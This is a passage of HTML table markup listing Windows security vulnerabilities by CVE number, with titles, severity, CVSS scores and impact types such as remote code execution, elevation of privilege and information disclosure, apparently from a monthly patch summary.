  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
